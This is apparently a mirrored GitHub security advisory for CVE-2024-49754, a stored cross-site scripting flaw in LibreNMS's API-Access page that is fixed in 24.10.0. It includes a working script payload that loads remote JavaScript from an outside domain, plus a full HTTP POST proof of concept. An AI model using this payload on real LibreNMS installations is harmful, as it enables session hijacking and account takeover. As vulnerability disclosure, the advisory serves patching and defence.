GHSA-GFWR-XQMJ-J27V
Vulnerability from github – Published: 2024-11-15 15:11 – Updated: 2024-11-15 20:49Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details
The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.
The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153
PoC
- Create a new API token with the following payload in the "token" parameter:
'"><script/src=//15.rs></script> - Save the token.
- Navigate to the API Access page.
- Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>
_token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create
Impact
The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 24.9.1"
},
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "24.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-49754"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-15T15:11:45Z",
"nvd_published_at": "2024-11-15T16:15:34Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the \"token\" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users\u0027 sessions, compromising their accounts and enabling unauthorized actions.\n\n### Details\n\nThe vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the \"token\" parameter, which is then executed when the API Access page is visited. The payload is triggered twice\u2014once in the \"Token Hash\" column and once in the \"QR Code\" column.\n\nThe payload used to exploit this vulnerability is: `\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e`\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe vulnerability is due to insufficient sanitization of the \"token_hash\" variable before it is output in the HTML. This is evident in the following lines of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153\n\n### PoC\n\n1. Create a new API token with the following payload in the \"token\" parameter: `\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e`\n2. Save the token.\n3. Navigate to the API Access page.\n4. Observe that the injected script executes twice, once in the \"Token Hash\" column and once in the \"QR Code\" column.\n\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: \u003cyour_token\u003e\nX-Requested-With: XMLHttpRequest\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026user_id=1\u0026token=\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e\u0026description=t\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u0026type=token-item-create\n```\n\n### Impact\n\nThe vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users\u0027 sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.",
"id": "GHSA-gfwr-xqmj-j27v",
"modified": "2024-11-15T20:49:44Z",
"published": "2024-11-15T15:11:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-gfwr-xqmj-j27v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49754"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/commit/25988a937cbaebd2ba4c0517510206c404dfb359"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "LibreNMS has a stored XSS (\u0027Cross-site Scripting\u0027) in librenms/includes/html/pages/api-access.inc.php"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.